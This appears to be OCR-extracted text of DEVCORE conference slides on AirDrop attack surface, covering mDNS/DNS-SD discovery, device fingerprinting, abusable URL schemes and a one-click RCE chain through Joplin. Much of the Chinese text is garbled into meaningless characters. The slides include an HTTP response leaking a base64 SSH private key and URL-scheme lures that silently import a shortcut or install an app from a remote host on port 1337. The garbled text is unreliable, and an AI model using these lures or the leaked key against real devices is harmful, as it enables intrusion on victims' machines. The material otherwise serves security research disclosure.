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Z6I= : SMEET IR VPN B DEV/CORE

ANIEEEIEES TR BN EZIASIAVPN » UERZKP LIE(WFH) - BB T & 5
R1F -

G BB BRTEVPNELR

SHREEOEVPNELR - L TEERREEM

e VPN{aEfRa3ttdl: 173.57.37.150
o ERIME: BIBELHIVPNEEIR TE=EEIEE PPTP « L2TP 5§ OpenVPN HIRE °

o (FHERI: Peter
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SZMHIPY : SSH FARRE DE\/CORE

Request Response

Pretty Raw Hex nm = Pretty Raw Hex Render
1 GET /id_rsa HTTP/1.1 3 Date: Sun, 1§ Feb 2024_03:42:@3 GMT
2 Host: d3vcO.re Content-type: application/octet-stream

3 Connection: close Content-Length: 2590
4 Last-Modified: Sun, 18 Feb 2024 03:36:12 GMT

5

b3BlbnNzaClrZXktdjEAAAAABG5vbmUAAAAEbmMOUZQAAAAAAAAABAAAB LlwAAAAdzc2gtcn
10 NnAAAAAWEAAQAAAYEA3ubrg28hGmPJOBLTjGNb3gGvitOwIle/MZFNOb+i7bqndFWZA027
11 1UgAXLo2yfAXPgTMo9iUC9WaIcBhtomFpDsKLYYBOHTTA9ILO9ANRCROBRNiB+pAV4ePjw
12 aEC4aLkWZ4rq/uMCalUaqeHd7k+oLmrZayzfTWrPgscio61404skkLM+soHL@6bUjRo3re
13 9W+ZH+4yyiA1Vumjq/YHL34FcHHBIIHYRQURNLZEfSsbTnN2WAKRQnv82P004mKRmtYJCD
14 HMD+k4KCt14jZox9Nu43tKHZO1bXmmdbOUAzfvesTNH+ucL5HakpwqlK4bTOQMW6 idvsUm
15 nv8vIXtZXCojFYBSzmuGo9nuN8kwPXkjgF0aiP@7VSaXP//IIDt13D0gldAi1VZv6W9tmglI
16 YvvZ602C0o01XajQX1lgcTTrN6p8ZwItjHIiSF8Zy8C9VbKx5y4HYH6B8Zzaxcdy5X471wWTY
17 IbfmzM4yS7A7n1FzemLLluGJoFKc41F5cOmlG/Q3AAAFgLjGtX+4xrV/AAAAB3NzaClyc?2
18 EAAAGBAN7m64NVIRpjyTgS34xjW94Br4rTsCIXvzGRTTm/ou26p3RVmQDtu4 LIAFy6Nsnw
19 Fz4EzKPY1AvVmiHAYbaJlhaQ7CpWGAThO3wPSCzvQDUQkTQUTYgfqQFeHj48GhAuGi5FmeK
20 6v7jAmpVGgnh3e5PqC592Wss301qz4LHIg0teKOLIJJCzPrKBy90ml1I@aN63vVvmR/uMsog
21 NVbpobv2By9+BXBxwSCB2EfVEZ5WRHOrGo5zd1lgJEUJ7/Njzt0JikZrWCQgxzA/p0CgrYu
22 I2aMfTbuN7Sh2dIm15pnWz LAM373rEzR/ rnC+R2pKcKpSuGA9EDFuonb7FJp7/L5V7WVwq
23 IxWAUs5rhqPZ7jfIMD15I4BTmoj901Umlz//yCA7ZdwzoIXQI WWb+1lvbZoCGL72egNgqDp
24 V200F5anE06zeqfGcCLYXYYKhTfGecvAvVWysecuB2B+gfM2sXHcuV+09cFk2CG35sz0Mkuw
25 055Rc3piy5bhiaBSnONReXNJpRvONWAAAAMBAAEAAAGAQEQUFULTHfNmfcwvOxZgLmNhij7
26 kCqv+TJIYXupeYmmGH7aQFBu85nMPKD5rA+v1VExXvR3DcFCQi7qWHLGE4A8VsD1/cu6Qmg
27 N7x6r1lHsc2AT9WUdshCIba2tm8Pz1STweWmXvj/sWjIrmS0b82SUiTrq@n885S69xKt60ht
28 SHNsi1ijQaN3D6PTUKepCO1T1Yoxfm/sG4ovOHEEJRKPE/D9adcymmlRcHHzEal/LTa3tE+Q
29 5sSXtBkCL7ewGqLpmit/kkf8cKFQwlyQKhXgqMIJcyBgWgVEd2Kc+m84xgHqTcIJPy@sMYA
30 d2K6Ggofv37AVPA6TKOEW83jJIr9uvoqw@blLBvsnV8GMCoEBATGuUmA2a/ 19ceK583XAkhc
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Zeroconf DE\/CORE

o fZIDVEE
o HEFIERIE
 SIEBEEEZIRNBE
« TEIHEE
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X AE
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mDNS (Multicast DNS) DE\/CORE

» #ZE DNS {3 iRzZ3NE T4 I iR 7S 25 1R
TN B
B1E RFC 6762 1E%E

CNE*

» {§/H UDP %7€ » IP 224.0.0.251 > {#i%18 5353
« EZXFT
* Apple (Bonjour) ~ Linux (Avahi) ZFHk¥%




mMDNS 7525 IRRTE

B EN RIS 2

sHE 192.168.0.2

A oa.ipps._tcp.local
£ 192.168.0.3

Ik = oa.ipps._tcp.local

192.168.0.3

'd

ENE# 192.168.0.3 £TE 192.168.0.4



DNS-SD DE\/CORE

o #FE DNS f{a]fkzsRYIE 1248 k5 AR 75 25 IR
. TZAEF{HE

» iB1F RFC 6763 1Z#

+ E X DNS ARagfR4iral SRV ~ TXT %
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DNS-SD - FQDN #&1& DE\/CORE

\/ <Service>.<Domain>
\/ <Instance Name>.<Service Type>.<Domain>

<Hostname>



Service Protocol Name

TEST.ipps._tcp.local

Domain Name

DEVCORE



PTR
(Pointer Record)

TXT
(Text Record)

SRV
(Service Record)

A or AAAA
(Address Record)



A #% 3% 3R

PTR _ipps. _tcp.local

—)

_Ipps. tcp.local PTR oa. Ipps .tcp.local o=

1
i



Al 75 5+ 4l = 7

SRV oa._ipps_.tcp.local

)

oa._ipps_.tcp.local SRV 0 0 8000
printer.local ENZ=t%

1
i
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A printer.local

—

printer.local A 192.168.0.3 ——
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o E[IR1E ipp._tcp.local

« FEIRFS _http._tcp.local
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2:iE45% 192.168.0.5

SR 192.168.0.2 A oa.ipps._tcp.local
= 192.168.0.5

= oa.ipps._tcp.local

192.168.0.5

Q T 192.168.0.4
ENEH# 192.168.0.3

EZ2 192.168.0.5
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SATY B DE\V/CORE

* raspberrypi.local

e _arduino._tcp.local
 googlecast._tcp.local
e sonos._tcp.local

* jason_desktop.local
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 ssh._tcp.local
 http._tcp.local
 api._tcp.local
 _ipp._tcp.local

e _scanner._tcp.local
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mDNS 2%3A M52, DEV/CORE
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 iPhone TR ZEHIER

e _airplay._tcp.local

e roap._tcp.local

|*] Receive from 172.20.10.1

|+] Question: 2, Answer: 0, Authority RRs: 0, Additional: 1
Question: PTR airplay. tcp.local.
Question: PTR raop. tcp.local.



VEL ZFHER — macOS DEV/CORE

 _companion-link._tcp.local
* sleep-proxy._udp.local

e _apple—-mobdev._tcp.local

[*] Recelive from 192.168.137.133
[+] Question: 2, Answer: 1, Authority RRs: 0, Additional: 1
Question: PTR companion-link. tcp.local.
Question: PTR homekit. tcp.local.
Answer: PTR companion-link. tcp.local., B VacBook Pro. companion-link. tcp.local.



VEE Z 151 — Windows DEV/CORE

THER 2 B 2 18
e DESKTOP-XXXXXXX
» BLEN 7 U REBENXHEEF
o BZLEE Chrome » liffF Chrome [

N —

o EXTE-HENMEHIERE proxy

e wpad.local

[*] Receive from 192.168.137.1
[+] Question: 1, Answer: 0, Authority RRs: 0, Additional: 0

Question: A wpad.local.



EE Z %458 - Linux (Fedora) DEV/CORE

| *] Recelive from 1/72.17.0.1
|+] Question: 7, Answer: 0, Authority RRs: 0, Additional: O
Question: PTR ftp. tcp.local.
Question: PTR nfs. tcp.local.
Question: PTR afpovertcp. tcp.local.
Question: PTR smb. tcp.local.
Question: PTR sftp-ssh. tcp.local.
Question: PITR webdavs. tcp.local.
Question: PTR webdav. tcp.local.
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AirDrop G DEV/CORE

» HEEmES
» 3%i@ Bluetooth FRNEA¥IEL WiFi (AWDL)
» mDNS IR EE
. 1EIL
* FIEA
. {E[RERABA

AirDrop
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* enimotas (R ER S B AR

e ¥EI/AS){EFR MacBook LEAIER S

AirDrop



AWDL (Apple Wireless Direct Link)

A low latency/high speed WiFi peer-to peer—connection Apple
uses for everywhere you'd expect: AirDrop, GameKit (which
also uses Bluetooth), AirPlay, and perhaps elsewhere. It works
using its own dedicated network interface, typically "awdIQ".

DEVCORE
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AirDrop SN E DEV/CORE

_airdrop._tcp.local

. &

[ — N

Target: b556d4621850._airdrop._tcp.local
Port: 8770
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Discover
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Ask
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Upload
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Bob {83& Bob Peter
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Bob {83& Bob Peter
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Discover
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Discover E¥i%iEK DE\/CORE

< AirDrop + Q 1%1B AirDrop {FAFI A SER

BRKRE

Hithz &

bob

©

AirDrop BE:RRR R AREZEARS - REATHTEAIADG 2

F L Eiig 1tk iPhone By L S
f‘CE"FT&UAEﬁ??ﬁ@E : pﬁﬁA A Eﬁtiphoneo



DE\/CORE

:I:I#III'
b
Dk

Discover &




FHESETEE iCloud DESEM = DEVCORE

E MRS



E MRS

DE\VCORE



iR iCloud IESREIF45RES DEV/CORE

¢ iCloud MR (Email) o FHETRNE
e xxxX@icloud.com e 886911111111 =1018

o xxx@gmail.com

e Email 18T
e RFC 5322 ~ 6531

e iCloud 183\ : NEBHEX ~ #F
+EIT)5R - [RAR
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URL 101

Scheme Hosthname Path Fragment

Userlinfo Port Query

DEVCORE



URL 101

Scheme Hosthname Path Fragment

-username:password@www.example.com:443/ path/to/page.html?query=filettfragment

Userlinfo Port Query

DEVCORE



URL Scheme DEV/CORE

* http * https




URL Scheme DEV/CORE

* http * https

 file ~ gopher ~ smb ~ Ildap I-T




URL Scheme DEV/CORE

* http * https
 file ~ gopher ~ smb ~ Ildap
. HitIE S

e slack

otg

e |ine
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AirDrop attack vector DE\/CORE

s B AFFHREIEIVIRT
e BEH#l Scheme (file ~ smb ...)

» SR FITARMER{} ...
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423EEE Scheme DE\/CORE

shortcuts://x-callback—-url/run-shortcut?name=x&
file:///System/Applications/Calculator.app
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SR U INELS (P DEV/CORE

* Screen Sharing
e vnc://devco.re:1337/
e Shortcuts

* shortcuts://x-callback-url/import-shortcut?url=https://devco.re: 1337/
x.shortcut&name=xx&silent=true

e Parallels

 prli://devco.re



Telegram

° I:\Fﬁ:l:EIL;\lu\ Proxy

* tg://proxy?
server=1.1.1.1&port=38/8/&secret=aaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaa

DE\/CORE

Do you want to add this proxy?

Server: 1.1.1.1
Port: 8787
Secret:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

You can change your proxy server later
in Settings > Privacy and Security.

This proxy may display a sponsored
channel in your chat list. This doesn't
reveal any of your Telegram traffic.

Add Proxy

Cancel

v Enable Proxy
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* itms-services://?action=download-manitest&url=https://devco.re: 1337/
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Joplin DE\V/CORE

@ ) Joplin
Q L] Posts  © In progress
Inbox
Posts B I &

Inbox

Holiday plans

JavaScript | Tried 7 Different Morning Routines, here's... J I. d R
LIS Ontwikkel je zelfkennis = The School of Life p e g

Design . . : : '

The best career advice |'ve received during... Morning is the period of time from sunrise to noon. There are no exact times for when
FOgramiing _ _ morning begins (also true for evening and night) because it can vary according to
: Will the future judge us moral? , : ) 3

Shopping one's lifestyle and the hours of daylight at each time of year.[1] However, morning

Personal Afmetingen kamers De Smederij strictly ends at noon, which is when afternoon starts. Morning can be defined as

starting from midnight to noon.

Work Fokke Obbema - De zin van het leven
Joplin redesign Morning precedes afternoon, evening, and night in the sequence of a day. Originally,
Home | Tried 7 Different Morning Routines, here’s... the term referred to sunrise.[2]
In progress . : : .
(K Ontwikkel je zelfkennis = The School of Life Etymology
Morning routine '
MIT The best career advice l've. recetve during.. The Modern English words "morning" and "tomorrow" began in Middle English as
g Will the future judge us moral? morwening, developing into morwen, then morwe, and eventually morrow. English,
odo’s

unlike some other languages, has separate terms for "morning” and "tomorrow",
Afmetingen kamers De Smederij iy ' X .
despite their common root. Other languages, like German, may use a single word -

Fokke Obbema - De zin van het leven Morgen - to signify both "morning" and "tomorrow".[3][4]

Epic React notes

| Tried 7 Different Morning Routines, here's...

Ontwikkel je zelfkennis = The School of Life
The best career advice |'ve received during...
Will the future judge us moral?

Afmetingen kamers De Smederij

Fokke Obbema - De zin van het leven
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Joplin

DE\V/CORE

(¥l NOTEBOOKS

» Personal

» Work

& TAGS
car
jelly
piano

store

Joplin is an open source note-taking app. Capture your
thoughts and securely access them from any device.

8am conference call il

Hire accountant

Deploy website
Incorporation documents &
Friday's Meeting notes »
;

Joplin

Check this

[0 Create website

[J Check online payment services

[0 Setup a few ads




Joplin

DEVCORE

86
87
88
89
90
91
92
93
94
95
96
97
08
99
00
01
02
03
04

const windowOptions: any = {

x: windowState.Xx,
y: windowState.y,
width: windowState.width,
height: windowState.height,
minWidth: 100,
minHeight: 100,
backgroundColor: '#fff', // required to enable sub pixel rendering, can't be 1in css
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
spellcheck: true,
enableRemoteModule: true,
}l
webviewTag: true,
// We start with a hidden window, which 1s then made visible depending on the showTrayIcon
// https://github.com/laurent22/joplin/issues/2031
show: debugEarlyBugs,

C

]
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l AirDrop + Joplin
- OneClick RCE &
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I AirDrop One-Click
to RCE

y 4
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4T1B% By Side Channel Attack DEV/CORE

/AR mDNS B RIS
V. RSB RS A

\/ AirDrop 1§58 A A

/' AirDrop SNBSS (E
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» EERPIEUWNEESFTHIEFEAREIRTS « ZIUVHEZISE Nl S FIAYR
&0 B R A
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e BiEAEUMINEEETTEIEFERNARTS - TG EZIEEFE NS E N FIAIR
&0 B[R Al

- PRAIAER S T8 & E M EE AR E I IMBARTS
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» EERPIEUWNEESFTHIEFEAREIRTS « ZIUVHEZISE Nl S FIAYR
&0 B R A

» [RBllANERE T B BEASREFNEPEURE N FIIMBARTS
- ERBERT AR ANERTFZIRINEE - UBENER




BHECIEE DE\V/CORE

» EERPIEUWNEESFTHIEFEAREIRTS « ZIUVHEZISE Nl S FIAYR
&0 B R A

» [RBllANERE T B BEASREFNEPEURE N FIIMBARTS
- ERBERT AR ANERTFZIRINEE - UBENER

 AirDrop RERIERSIEMBIEA - EBRIAEORRBNEERND
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Q&A

B KRB BEA D
contact@devco.re
02-2577-0925




